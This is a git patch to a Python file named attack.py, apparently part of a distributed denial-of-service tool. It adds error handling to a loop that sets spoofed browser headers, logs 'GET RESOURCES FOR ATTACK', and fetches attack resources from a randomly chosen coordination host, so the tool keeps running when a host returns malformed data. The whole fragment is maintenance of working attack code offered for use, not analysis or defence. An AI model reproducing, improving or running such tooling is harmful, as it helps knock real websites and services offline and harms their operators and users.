From b861fc31722ef9f43d0323ea1ba55480c9429294 Mon Sep 17 00:00:00 2001 From: SarahConnor Date: Sun, 27 Feb 2022 03:08:11 +0200 Subject: [PATCH] catch JSON decode Error --- attack.py | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/attack.py b/attack.py index 840c19a..f5610de 100644 --- a/attack.py +++ b/attack.py @@ -71,9 +71,19 @@ def mainth(): scraper.headers.update({'Content-Type': 'application/json', 'cf-visitor': 'https', 'User-Agent': random_useragent(), 'Connection': 'keep-alive', 'Accept': 'application/json, text/plain, */*', 'Accept-Language': 'ru', 'x-forwarded-proto': 'https', 'Accept-Encoding': 'gzip, deflate, br'}) logger.info("GET RESOURCES FOR ATTACK") - content = scraper.get(choice(HOSTS)).content + host = choice(HOSTS) + content = scraper.get(host).content if content: - data = loads(content) + try: + data = json.loads(content) + except json.decoder.JSONDecodeError: + logger.info('Host {} has invalid format'.format(host)) + sleep(5) + continue + except Exception: + logger.exception('Unexpected error. Host {}'.format(host)) + sleep(5) + continue else: sleep(5) continue